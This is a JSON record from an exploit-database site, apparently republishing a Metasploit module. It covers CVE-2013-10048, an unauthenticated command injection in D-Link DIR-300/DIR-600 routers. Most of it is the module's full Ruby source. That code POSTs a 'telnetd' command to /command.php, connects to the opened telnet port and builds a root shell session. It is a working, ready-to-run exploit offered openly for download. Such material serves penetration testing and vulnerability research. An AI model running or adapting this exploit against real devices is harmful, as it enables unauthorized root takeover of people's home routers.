{"exploit":{"id":"MSF-linux--http--dlink_command_php_exec_noauth","name":"D-Link Devices Unauthenticated Remote Command Execution","description":"Various D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in command.php, which is accessible without authentication. This module has been tested with the versions DIR-600 2.14b01, DIR-300 rev B 2.13.","cves":["CVE-2013-10048"],"author":"Michael Messner, juan vazquez","published":"2013-02-04","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb","path":"modules/exploits/linux/http/dlink_command_php_exec_noauth.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"dlink_command_php_exec_noauth.rb","vulnerabilities":[{"id":"CVE-2013-10048","state":"PUBLISHED","title":"D-Link Devices command.php Unauthenticated RCE","titleSource":"CVE Program","description":"An OS command injection vulnerability exists in various legacy D-Link routers—including DIR-300 rev B and DIR-600 (firmware ≤ 2.13 and ≤ 2.14b01, respectively)—due to improper input handling in the unauthenticated command.php endpoint. By sending specially crafted POST requests, a remote attacker can execute arbitrary shell commands with root privileges, allowing full takeover of the device. This includes launching services such as Telnet, exfiltrating credentials, modifying system configuration, and disrupting availability. The flaw stems from the lack of authentication and inadequate sanitation of the cmd parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10048","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10048"},"updatedAt":"2026-05-15T11:14:13.668Z","retrievedAt":"2026-11-26T12:50:55.214Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--dlink_command_php_exec_noauth.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--dlink_command_php_exec_noauth","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--dlink_command_php_exec_noauth/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--dlink_command_php_exec_noauth/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',\n        'Description' => %q{\n          Various D-Link Routers are vulnerable to OS command injection via the web\n          interface. The vulnerability exists in command.php, which is accessible without\n          authentication. This module has been tested with the versions DIR-600 2.14b01,\n          DIR-300 rev B 2.13.\n        },\n        'Author' => [\n          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module\n          'juan vazquez' # minor help with msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-10048' ],\n          [ 'OSVDB', '89861' ],\n          [ 'EDB', '24453' ],\n          [ 'BID', '57734' ],\n          [ 'URL', 'http://web.archive.org/web/20240619081418/http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],\n          [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],\n          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]\n        ],\n        'DisclosureDate' => '2013-02-04',\n        'Privileged' => true,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'Compat' => {\n            'PayloadType' => 'cmd_interact',\n            'ConnectionType' => 'find',\n          },\n        },\n        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },\n        'Targets' => [\n          [ 'Automatic',\t{} ]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),\n        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),\n        OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])\n      ]\n    )\n  end\n\n  def tel_timeout\n    (datastore['TelnetTimeout'] || 10).to_i\n  end\n\n  def banner_timeout\n    (datastore['TelnetBannerTimeout'] || 25).to_i\n  end\n\n  def session_timeout\n    (datastore['SessionTimeout'] || 10).to_i\n  end\n\n  def exploit\n    telnetport = rand(32767) + 32768\n\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Telnet port used: #{telnetport}\")\n\n    cmd = \"telnetd -p #{telnetport}\"\n\n    # starting the telnetd gives no response\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Sending exploit request...\")\n    request(cmd)\n\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet connection...\")\n    ctx = { 'Msf' => framework, 'MsfExploit' => self }\n    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })\n\n    if sock.nil?\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} - Backdoor service has not been spawned!!!\")\n    end\n\n    add_socket(sock)\n\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet session...\")\n    prompt = negotiate_telnet(sock)\n    if prompt.nil?\n      sock.close\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to establish a telnet session\")\n    else\n      print_good(\"#{Rex::Socket.to_authority(rhost, rport)} - Telnet session successfully established... trying to connect\")\n    end\n\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Trying to create the Msf session...\")\n    begin\n      Timeout.timeout(session_timeout) do\n        activated = handler(sock)\n        while (activated !~ /claimed/)\n          activated = handler(sock)\n        end\n      end\n    rescue ::Timeout::Error\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to establish a Msf session\")\n    end\n  end\n\n  def request(cmd)\n    uri = '/command.php'\n\n    begin\n      res = send_request_cgi({\n        'uri' => uri,\n        'method' => 'POST',\n        'vars_post' => {\n          \"cmd\" => cmd\n        }\n      })\n      return res\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} - Could not connect to the webservice\")\n    end\n  end\n\n  def negotiate_telnet(sock)\n    begin\n      Timeout.timeout(banner_timeout) do\n        while (true)\n          data = sock.get_once(-1, tel_timeout)\n          return nil if not data or data.length == 0\n          if data =~ /\\x23\\x20$/\n            return true\n          end\n        end\n      end\n    rescue ::Timeout::Error\n      return nil\n    end\n  end\nend\n","sha256":"d8b05ffef34c752ec96b1bab696022eb257ed0b0e4bc0301a7cdf9b9f994aaaa","bytes":5010,"fetchedAt":"2026-11-26T12:50:55.103Z","encoding":"utf-8 (display only; download retains original bytes)"}